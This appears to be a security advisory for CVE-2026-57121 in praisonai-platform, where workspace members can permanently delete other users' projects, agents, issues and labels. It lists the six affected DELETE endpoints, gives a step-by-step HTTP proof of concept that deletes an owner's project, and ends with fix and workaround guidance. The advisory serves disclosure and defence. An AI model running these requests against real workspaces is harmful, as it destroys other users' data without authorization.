Description
Summary
A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly.
Details
The published role capability matrix explicitly restricts members from modifying others' content:
| Capability | Owner | Admin | Member |
|---|---|---|---|
| Create issues/tasks | ✅ | ✅ | ✅ |
| Edit own content | ✅ | ✅ | ✅ |
| Edit others' content | ✅ | ✅ | ❌ |
The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an owner/admin role. The result is that the member role has unrestricted DELETE access over all workspace content regardless of who created it.
Confirmed vulnerable endpoints:
| Endpoint | Expected | Actual |
|---|---|---|
DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id} | 403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id} | 403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id} | 403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id} | 403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id} | 403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id} | 403 | 204 |
The missing check is isolated to content resource DELETEs.
PoC
Requirements: Two accounts — owner (resource creator) and member (attacker).
1. Register both accounts
POST /api/v1/auth/register
Content-Type: application/json
{"email": "[email protected]", "password": "Password1!", "name": "owner"}
POST /api/v1/auth/register
Content-Type: application/json
{"email": "[email protected]", "password": "Password1!", "name": "member"}
2. Owner creates workspace, adds member with member role
POST /api/v1/workspaces/
Authorization: Bearer <owner_token>
Content-Type: application/json
{"name": "Test Workspace"}
POST /api/v1/workspaces/{workspace_id}/members
Authorization: Bearer <owner_token>
Content-Type: application/json
{"user_id": "<member_user_id>", "role": "member"}
3. Owner creates a project
POST /api/v1/workspaces/{workspace_id}/projects/
Authorization: Bearer <owner_token>
Content-Type: application/json
{"title": "Owner's Project"}
Response 201 Created:
{"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...}
4. Member deletes the owner's project
DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <member_token>
Response: 204 No Content
5. Owner confirms the project is permanently gone
GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <owner_token>
Response: 404 Not Found
{"detail": "Project not found"}
The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).
Impact
This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this.
Who is impacted: Workspace owners and members who share a workspace with untrusted or compromised member accounts.

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai-platform, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update praisonai-platform to 0.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-57121 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
